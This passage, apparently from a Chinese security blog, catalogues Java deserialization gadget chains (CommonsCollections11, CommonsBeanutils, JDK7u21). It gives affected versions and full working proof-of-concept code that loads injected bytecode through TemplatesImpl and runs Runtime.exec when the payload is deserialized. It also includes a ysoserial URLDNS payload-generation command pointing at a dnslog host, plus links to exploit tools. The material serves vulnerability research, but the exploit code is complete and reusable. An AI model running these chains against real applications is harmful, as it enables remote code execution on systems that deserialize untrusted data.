                //最终要调用到TemplatesImpl的newTransformer()方法
    
                InvokerTransformer transformer = new InvokerTransformer("newTransformer", new Class[0], new Object[0]);
                HashMap innermap = new HashMap();
                LazyMap map = (LazyMap) LazyMap.decorate(innermap, transformer);
                //利用LazyMap的get()来触发transform()。TiedMapEntry类的getValue()调用LazyMap的get()方法
                TiedMapEntry tiedmap = new TiedMapEntry(map, templates);
                //触发点: 在Hashset的readObject方法中,会去调用map的put方法,这里的map为Hashmap的对象,然后会逐步调用到TiedMapEntry类的getValue()方法
                HashSet hashset = new HashSet(1);
                hashset.add("gugu");
                //这里必须通过反射设置key值为tiedmap,如果通过hashset.add(tiedmap)就会本地触发利用链(但不会执行),并异常退出。
                Field f = null;
                try {
                    f = HashSet.class.getDeclaredField("map");
                } catch (NoSuchFieldException e) {
                    f = HashSet.class.getDeclaredField("backingMap");
                }
                f.setAccessible(true);
                HashMap hashset_map = (HashMap) f.get(hashset);
    
                Field f2 = null;
                try {
                    f2 = HashMap.class.getDeclaredField("table");
                } catch (NoSuchFieldException e) {
                    f2 = HashMap.class.getDeclaredField("elementData");
                }
    
                f2.setAccessible(true);
                Object[] array = (Object[]) f2.get(hashset_map);
    
                Object node = array[0];
                if (node == null) {
                    node = array[1];
                }
                Field keyField = null;
                try {
                    keyField = node.getClass().getDeclaredField("key");
                } catch (Exception e) {
                    keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
                }
                keyField.setAccessible(true);
                keyField.set(node, tiedmap);
    
                Field f3 = transformer.getClass().getDeclaredField("iMethodName");
                f3.setAccessible(true);
                f3.set(transformer, "newTransformer");
    
                ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc11"));
                outputStream.writeObject(hashset);
                outputStream.close();
    
                ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc11"));
                inputStream.readObject();
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
    
    }
    
  • 分析文章

    https://www.yuque.com/tianxiadamutou/zcfd4v/th41wx

#CommonsBeanutils

  • 适用版本

    1. 最新版CommonsBeanutils 1.9.4也可以用(Shiro自带CommonsBeanutils 1.8.3) 。
    2. 无JDK版本限制。
  • 修复方案

    暂无

  • 利用链

    执行点: CommonsBeanutils中提供了一个静态方法PropertyUtils.getProperty ,让使用者可以直接调用任意JavaBean的getter方法。而TemplatesImpl类的 _outputProperties属性的getter方法中调用了newTransformer()方法,所以能利用PropertyUtils.getProperty触发字节码加载。在CommonsBeanutils#compare方法中调用了PropertyUtils.getProperty()方法。

    触发点: 和cc2的触发点相同,在PriorityQueue的readObject()方法中,调用了对象的compare()方法。

  • POC

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    
    package CBeanutils;
    
    import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
    import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
    import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
    import javassist.ClassClassPath;
    import javassist.ClassPool;
    import javassist.CtClass;
    import org.apache.commons.beanutils.BeanComparator;
    
    import java.io.FileInputStream;
    import java.io.FileOutputStream;
    import java.io.ObjectInputStream;
    import java.io.ObjectOutputStream;
    import java.lang.reflect.Field;
    import java.util.PriorityQueue;
    
    public class run {
        public static void main(String[] args) {
            try{
                ClassPool pool = ClassPool.getDefault();
                pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
                CtClass cc = pool.makeClass("Cat");
                String cmd = "java.lang.Runtime.getRuntime().exec(\"open  /System/Applications/Calculator.app\");";
                cc.makeClassInitializer().insertBefore(cmd);
                String randomClassName = "Calc" + System.nanoTime();
                cc.setName(randomClassName);
                cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
    
                TemplatesImpl templates = TemplatesImpl.class.newInstance();
                setField(templates,"_name","name");
                setField(templates,"_bytecodes",new byte[][]{cc.toBytecode()});
                setField(templates,"_tfactory",new TransformerFactoryImpl());
                setField(templates, "_class", null);
    
                BeanComparator beanComparator = new BeanComparator("outputProperties",String.CASE_INSENSITIVE_ORDER);
    
                PriorityQueue priorityQueue = new PriorityQueue(2, beanComparator);
    
                setField(priorityQueue,"queue",new Object[]{templates,templates});
                setField(priorityQueue,"size",2);
    
                ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./CommonsBeanutils.ser"));
                outputStream.writeObject(priorityQueue);
                outputStream.close();
    
                ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./CommonsBeanutils.ser"));
                inputStream.readObject();
                inputStream.close();
            }catch (Exception e){
                e.printStackTrace();
            }
    
        }
    
        public static void setField(Object object,String field,Object args) throws Exception{
            Field f0 = object.getClass().getDeclaredField(field);
            f0.setAccessible(true);
            f0.set(object,args);
        }
    }
    
  • 分析文章

    http://wjlshare.com/archives/1549#0x04_Tomcat

#JDK7u21

  • 适用版本

    1. 不依赖第三方组件
    2. 依赖JDK7u21版本
  • 修复方案

    升级JDK版本

  • 利用链

    执行点:

    TemplatesImpl类中的defineTransletClasses()方法会调用defineClass()来加载_bytecodes字段中的字节码。而defineTransletClasses方法在TemplatesImpl类的newTransformer()方法中调用。所以构造好参数,调用TemplatesImpl的newTransformer()方法便可加载自定义字节码。

    那么如何调用TemplatesImpl类的newTransformer()方法呢?

    这里通过生成一个动态代理类,AnnotationInvocationHandler作为动态代理的处理类(该类初始化时将生成的TemplatesImpl对象添加到map中传给AnnotationInvocationHandler的构造函数)。那么如果调用动态代理类的equals方法,那么就会进入AnnotationInvocationHandler的invoke方法,在该方法中会调用该类的equalsImpl方法,该方法可遍历获取到之前构造函数传入map的值对应对象的所有方法并调用,由于map的值就是TemplatesImpl对象,所以会调用到newTransformer()方法。

    触发点:

    现在就需要想办法调用这个动态代理类的equals方法。这里利用的是LinkedHashSet,他没有重写readObejct() 函数,而是他的父类Hashset重写了,所以调用的父类的readObejct() 函数。而在调用map的put方法中,会调用到反序列化后的动态代理的equals方法。

  • POC

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    
    package JDK7u21;
    
    import javassist.ClassPool;
    import javassist.CtClass;
    
    import javax.xml.transform.Templates;
    import java.io.ByteArrayInputStream;
    import java.io.ByteArrayOutputStream;
    import java.io.ObjectInputStream;
    import java.io.ObjectOutputStream;
    import java.lang.reflect.*;
    import java.util.HashMap;
    import java.util.LinkedHashSet;
    import java.util.Map;
    import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
    
    public class run {
        public static void main(String[] args) {
            try{
                String AbstractTranslet = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
                String TemplatesImpl = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
                ClassPool classPool = ClassPool.getDefault();
                classPool.appendClassPath(AbstractTranslet);
                CtClass payload = classPool.makeClass("testforme");
                payload.setSuperclass(classPool.get(AbstractTranslet));
                payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\");"); //创建一个空的类初始化,设置该类的静态代码块
    
                //转换为byte数组
                byte[] bytes = payload.toBytecode();
                Object templatesImpl = Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//反射创建TemplatesImpl
                Field field = templatesImpl.getClass().getDeclaredField("_bytecodes");//反射获取templatesImpl的_bytecodes字段
                field.setAccessible(true);
                field.set(templatesImpl, new byte[][]{bytes});//将templatesImpl上的_bytecodes字段设置为runtime的byte数组
    
                Field field1 = templatesImpl.getClass().getDeclaredField("_name");//反射获取templatesImpl的_name字段
                field1.setAccessible(true);
                field1.set(templatesImpl, "test");//将templatesImpl上的_name字段设置为tests
    
                HashMap map = new HashMap();
                map.put("f5a5a608", "foo");
    
                Constructor ctor=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
                ctor.setAccessible(true);
                InvocationHandler tempHandler = (InvocationHandler)ctor.newInstance(Override.class, map);
                Field field2= tempHandler.getClass().getDeclaredField("type");
                field2.setAccessible(true);
                field2.set(tempHandler, Templates.class);
    
                Templates proxy= (Templates)Proxy.newProxyInstance(HashMap.class.getClassLoader(),new Class[] {Templates.class},tempHandler);
    
                LinkedHashSet set = new LinkedHashSet();
                set.add(templatesImpl);//这里设置这个值是为了进入for循环触发proxy.equal,从而触发动态代理的proxy.invoke方法
                set.add(proxy);
                map.put("f5a5a608", templatesImpl);
    
                ByteArrayOutputStream baos = new ByteArrayOutputStream();
                ObjectOutputStream out = new ObjectOutputStream(baos);
                out.writeObject(set);
                out.flush();
                byte[] bytes2 = baos.toByteArray();
                ByteArrayInputStream bais = new ByteArrayInputStream(bytes2);
                ObjectInputStream in = new ObjectInputStream(bais);
                in.readObject();
    
            }catch (Exception e){
    
            }
    
        }
    }
    

Tips:

jdk8u20这条链是jdk7u21的绕过。jdk7u21的补丁中,在AnnotationInvocationHandler的readObject方法中,增加了对代理类的判断,要求必须为annotation类型,否则会报错。

8u20利用链序列化数据属于畸形数据,需要手动构造序列化数据,为此需要熟悉序列化数据结构。

POC地址:https://github.com/pwntester/JRE8u20_RCE_Gadget

#URLDNS

能够确认readobject()反序列化利用点的存在。不至于payload改来改去却发现最后是因为压根没有利用点所以没用。因为这个利用链不依赖任何第三方库,没有什么限制。

生成payload

java -jar ysoserial.jar URLDNS "<http://p9n3au.dnslog.cn>" > /Users/joker/IdeaProjects/test/aa.txt

#根据ysoserial改编的工具

ysomapwh1t3p1g/ysoserialzema1/ysoserial

加载评论